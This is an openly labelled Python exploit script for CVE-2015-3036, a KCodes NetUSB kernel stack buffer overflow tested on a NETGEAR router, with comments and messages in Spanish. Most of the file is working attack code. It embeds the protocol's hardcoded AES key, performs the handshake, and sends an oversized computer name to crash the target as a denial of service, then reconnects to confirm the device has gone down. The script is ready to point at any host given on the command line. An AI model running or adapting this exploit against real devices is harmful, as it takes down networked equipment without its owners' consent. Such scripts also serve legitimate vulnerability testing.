#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: NetUSB Kernel Stack Buffer Overflow
# Date: 9/10/15
# Exploit Author: Adrian Ruiz Bermudo
# Vendor Homepage: http://www.kcodes.com/
# Version: Multiple: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
# Tested on: NETGEAR DC112A
# CVE : CVE-2015-3036

import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto

DOS_BYTES = 128	#BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005

AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"

print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""

if len(sys.argv) >= 2:
	try:
		target = sys.argv[1]
		try:
			port = int(sys.argv[2])
		except Exception as detail:
			port = PORT_DEFAULT
		
		#Inicialización de la conexión.
		init = "\x56\x05"
		#Datos aleatorios para el handshake
		randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
		#Nombre del equipo con 128 carácteres para provocar DoS.
		computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
		#Longitud del nombre del equipo - "\x80\x00\x00\x00"
		lengthComputerName = struct.pack("i", DOS_BYTES);
		#Sync - "\x07\x00\x00\x00"
		syncOK = struct.pack("i", 7);
		#Finalización de la conexión.
		end = "\x01"

		encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
		randomDataCrypt1 = encryption_suite.encrypt(randomData)

		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.settimeout(TIMEOUT)

		print "Conectando:", target,":",port
		sock.connect((target, port))
		print "Conectado"
		print "----------------"

		print "Inicializando:", init.encode("hex")
		sock.send(init)
		print "Random data para cifrar por el servidor:", randomData.encode("hex")
		sock.send(randomData)
		print "----------------"

		result = sock.recv(RECV_SIZE)
		print "Random data cifrados por el servidor:", result.encode("hex")
		print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
		if (randomDataCrypt1 == result):
			print "Handshake OK"
			randomData = sock.recv(RECV_SIZE)
			print "Random data a cifrar por el cliente:", randomData.encode("hex")
			randomDataCrypt2 = encryption_suite.encrypt(randomData)
			print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
			print "----------------"
			sock.send(randomDataCrypt2)
			print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
			sock.send(lengthComputerName)
			print "Nombre del host a parear:", computerName.encode("hex")
			sock.send(computerName)
			print "----------------"

			print "Sync: ", syncOK.encode("hex")
			sock.send(syncOK)
			if (sock.recv(RECV_SIZE) == syncOK):
				print "Sync ok"
				sock.send(end)
				try:
					#Esperamos unos segundos antes de conectar
					time.sleep(TIMEOUT)
					#Comprobamos si el dispositivo sigue vivo...
					sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
					sock.settimeout(TIMEOUT)
					sock.connect((target, port))
					print "No vulnerable"
				except Exception as detail:
					print "Vulnerable, exploit OK"
			else:
				print 'Sync error.'
	except Exception as detail:
		print "Error de comunicación:", detail
else:
	print "Usage:", sys.argv[0], "target [port]"
